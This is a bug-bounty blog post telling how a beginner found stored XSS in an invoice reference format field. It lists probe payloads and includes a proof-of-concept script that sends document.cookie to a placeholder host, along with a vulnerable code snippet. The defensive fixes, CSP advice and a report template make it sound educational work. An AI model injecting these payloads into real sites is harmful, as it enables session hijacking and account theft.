Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success

Finding Hope (and $250) in a Forgotten Field: A Beginner Guide to Stored XSS Success

October 29, 2025 9 min read

A real-world story of turning frustration into a $250 stored XSS win — and how beginners can replicate the mindset, methodology, and testing approach ethically.




Disclaimer: This story is for educational and defensive purposes only. The payloads and techniques discussed are shared to help developers secure their applications and to guide new ethical hackers toward responsible bug hunting. Do not test or exploit live sites without authorization. Always follow platform rules and coordinated disclosure policies.

Note: The sequence { is the encoded version of the { character. Throughout this blog, whenever you see {, it represents {.


Introduction: When Hope Feels Lost in the Bug Bounty World

Every bug hunter hits that wall - months of “duplicate” or “not applicable” replies and zero payouts.
That’s exactly where our story begins.

After several fruitless hunts across dozens of web apps, this researcher nearly quit. No fancy tools, no secret invites - just a deep sense of frustration.

But one night, a simple decision to try one more random site led to a $250 bounty and a powerful lesson about perseverance, intuition, and the art of spotting overlooked vulnerabilities.

This post breaks down that journey - not as a “look what I did” brag, but as a technical and motivational roadmap for new hunters to replicate the mindset, process, and ethics behind turning rejection into success.

Illustration of a frustrated bug hunter in dimly lit surroundings, scrolling through a screen filled with 'duplicate' messages, emphasizing the challenges in bug bounty hunting.


What Makes Stored XSS So Powerful (and So Common)

Before diving into the finding, it’s important to understand what makes Stored Cross-Site Scripting (XSS) special - and dangerous.

XSS allows attackers to inject malicious scripts into web pages viewed by other users. It comes in three main types:

Type Description Example Trigger
Reflected XSS Payload is reflected in the immediate response. Malicious link → triggers alert instantly.
DOM-based XSS Triggered via client-side JavaScript logic errors. Changing location.hash executes injected code.
Stored XSS Payload is saved on the server and executed whenever viewed. Message boards, profile bios, or invoice templates.

Stored XSS is often the most impactful because:

  • The payload persists across sessions.
  • Victims don’t need to click a link - just view a page.
  • The impact scales: one stored payload can hit hundreds of users.
  • It can lead to account takeover, data theft, or privilege escalation.

When a field accepts unfiltered HTML or JavaScript and renders it later in another user’s browser, that’s the XSS jackpot.

A diagram illustrating the flow of a stored XSS trigger: user input is stored in a database and then rendered unsafely, leading to script execution in the victim's browser.


Step 1 - Exploring the Target Like a Detective, Not a Hacker

Instead of blasting automated scanners, the researcher began manually exploring. The target site looked normal: a simple business platform for creating customers and invoices.

That’s where curiosity beat automation. The mindset wasn’t “I’ll find XSS here” but “I’ll understand what the app does and how data flows.”

Key discovery:
A section called Settings → Custom invoice reference number format.

It displayed a tip:

“An {{increment}} will be replaced by an incrementing integer.”

That tiny hint indicated template-like behavior, which is often a red flag for injection possibilities (SSTI or XSS).


Step 2 - First Tests: Playing with the Field Safely

To confirm behavior, the researcher entered small tests like:

999
HTML

and received an error message:

“Custom invoice numbers must include {{letter}}, {{number}}, or {{increment}}.”

So they tried again:

{{letter}} hello
HTML

This time - it worked! The input was saved and reflected. That was enough to start controlled injection testing.


Step 3 - From Curiosity to Confirmation

They began by testing Server-Side Template Injection (SSTI), using harmless calculations:

{{7*7}}
HTML

No output or arithmetic change - meaning SSTI was not supported.

Next, they tested for HTML injection:

<b>bold</b><i>italic</i><u>underline</u>
HTML

The preview displayed formatted text.

That’s the “Aha!” moment. HTML tags were rendered directly - no sanitization.
This is a classic XSS precursor.

So the final test:

<script>alert(1)</script>
HTML

Result? 💥
A popup - confirming Stored XSS.


Step 4 - Proving Real-World Impact (Safely)

Reporting just an alert(1) usually yields a “medium severity” tag. To raise the impact rating ethically, they demonstrated session hijacking without harming anyone.

A proof-of-concept payload like this can demonstrate potential risk:

<script>
new Image().src="https://example.com/cookie.php?cookie="+document.cookie
</script>
HTML

When rendered in another user’s browser, this payload would send their session cookie to a controlled endpoint.
(Always use a controlled, private testing domain like interact.sh or webhook.site for demonstration purposes - never exploit production users.)

By showing that the stored payload could leak session cookies, the researcher proved a realistic account-takeover vector.


Step 5 - Reporting and the Long Wait

The report included:

  • Steps to reproduce (clean, clear, and simple).
  • Screenshots of the input field and stored alert.
  • PoC showing cookie extraction.
  • Explanation of potential impact (session hijack).
  • Defensive recommendations: proper sanitization, CSP, and output escaping.

Then came the hard part - waiting.
No reply for weeks. No triage confirmation. Just silence.

Until one morning: PayPal email received - $250 reward.
The company silently patched the issue and thanked them for the disclosure.


Step 6 - The Technical Root Cause

Under the hood, the bug happened because:

  1. User input wasn’t sanitized before being stored in the database.
  2. When rendering templates, the backend didn’t escape special HTML characters.
  3. The UI used user-controlled content directly in a dynamic field.

Example of bad code:

// Hypothetical vulnerable code
const template = getUserInput("invoice_format");
const rendered = render(template);
document.body.innerHTML = rendered;
JavaScript

Correct approach:

// Safe approach: sanitize and encode
const template = escapeHTML(getUserInput("invoice_format"));
const rendered = render(template);
document.body.textContent = rendered;
JavaScript

Adding a Content Security Policy (CSP) could further mitigate risk by blocking inline script execution.


Step 7 - How Developers Could Have Prevented This

XSS prevention boils down to one golden rule: Never trust user input.

Defensive checklist:

Layer Defensive Control
Input Validate allowed characters or templates (&#123;{}} placeholders only).
Storage Store raw values, not rendered HTML.
Output Escape HTML entities before rendering.
Framework Use built-in encoding (e.g., Django’s &#123;{ variable }} autoescape).
Policy Add CSP: script-src 'self'; to block injected scripts.
Testing Include Stored XSS test cases in QA automation.

Step 8 - Lessons for Bug Hunters

  1. Rejection ≠ Failure.
    Every “duplicate” or “informative” teaches pattern recognition. The next time you see a similar pattern, you’ll move faster.
  2. Think Like a Developer.
    Don’t attack blindly. Understand logic, templating, and what developers intend to do - then test where assumptions break.
  3. Persistence Pays.
    The researcher almost gave up. That random 2 AM decision to test a new site was the turning point.
  4. Prove Impact Responsibly.
    XSS isn’t about making an alert pop up - it’s about demonstrating real risk safely.
  5. Document Everything.
    Screenshots, reproduction steps, and suggested fixes show professionalism - and increase your reward odds.

Step 9 - The Human Side: From Burnout to Breakthrough

It’s easy to lose motivation in bug bounty. Most hunters see flashy posts - $10,000 RCE chains, exotic SSRF bypasses - and feel discouraged.

But remember: every expert was once frustrated.
Persistence and curiosity are more important than any tool.

The researcher didn’t find this bug with a fancy scanner or plugin. They found it with observation, patience, and basic browser testing. That’s real skill.


Step 10 - Practical Guide: How You Can Find Similar Bugs

Here’s a step-by-step plan for beginners who want to replicate this success (ethically):

Step 1: Pick a realistic target

Choose a small, public web app or practice lab (like PortSwigger’s XSS labs or OWASP Juice Shop).

Step 2: Explore deeply

Open every editable field - bios, templates, settings, message forms, invoice builders.

Step 3: Start with harmless probes

Inject small HTML elements like <b> or <i> first.
If they render, you may have unsanitized input.

Step 4: Gradually escalate

Test <img src=x onerror=alert(1)>, <svg onload=alert(1)>, or encoded payloads.

Step 5: Check storage

Reload the page or log in as another user to see if the payload persists.
If it does - it’s stored.

Step 6: Prove safely

Show that your code executes - without exfiltrating data. Demonstrate risk conceptually.

Step 7: Report with professionalism

Follow the program’s disclosure policy, provide clean steps, and explain impact clearly.


Step 11 - Example Professional Report Template

Title: Stored Cross-Site Scripting in Custom Invoice Reference Field

Summary:
The application fails to sanitize user input in the “Custom invoice reference format” field, allowing stored JavaScript execution for other users.

Steps to reproduce:

  1. Go to Settings → Invoice Reference Format.

  2. Enter the payload:

    <script>alert(1)</script>
    
    HTML
  3. Save changes.

  4. Visit the invoice creation page - the alert executes.

Impact:

  • Stored XSS executes for all users viewing invoices.
  • Attackers could steal sessions or perform actions as victims.

Suggested Fix:

  • Escape HTML before rendering.
  • Implement CSP headers.
  • Sanitize user input and restrict dangerous characters.

Step 12 - Real-World XSS Mitigation Strategies (Defensive Angle)

Even mature teams get caught off-guard by XSS in uncommon fields like templates, reference numbers, or error pages.

Top defensive moves:

  1. Contextual escaping - use libraries like DOMPurify for user-generated HTML.
  2. Output encoding - never write raw input to DOM or innerHTML.
  3. Security headers - deploy CSP, X-XSS-Protection (where relevant), and Referrer-Policy.
  4. Code reviews - add “user input rendering” checks to your code review checklist.
  5. Automated scanning - integrate XSS tests in CI/CD pipelines.

These actions not only prevent stored XSS but also raise the app’s overall security maturity.

An infographic depicting a three-layer defensive shield against XSS, with each layer labeled: Validate (input), Sanitize (HTML), and Escape (output), representing a comprehensive security strategy.


Step 13 - Motivation Corner: Your $250 Moment Is Waiting

The takeaway isn’t “this person got lucky.”
It’s “persistence + curiosity + ethics = success.”

That one late-night click, that one overlooked input, can change your confidence - and your career.

If you’re a beginner bug hunter reading this, don’t underestimate the power of small wins.
$250 isn’t just money - it’s validation that your skills matter.

Keep practicing, stay humble, and focus on learning rather than chasing payouts. The money follows the mastery.

Illustration of a bug hunter smiling at a computer screen displaying a popup message that reads "$250 Reward", symbolizing the successful payout for a reported vulnerability.


References

  • OWASP XSS Prevention Cheat Sheet
  • PortSwigger Web Security Academy - XSS Learning Path
  • Mozilla Developer Docs: Content Security Policy (CSP)
  • DOMPurify Library for Sanitization

Published on herish.me - where real-world bug-bounty stories meet practical security education.

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts

For any queries or professional discussions: herish.chaniyara@gmail.com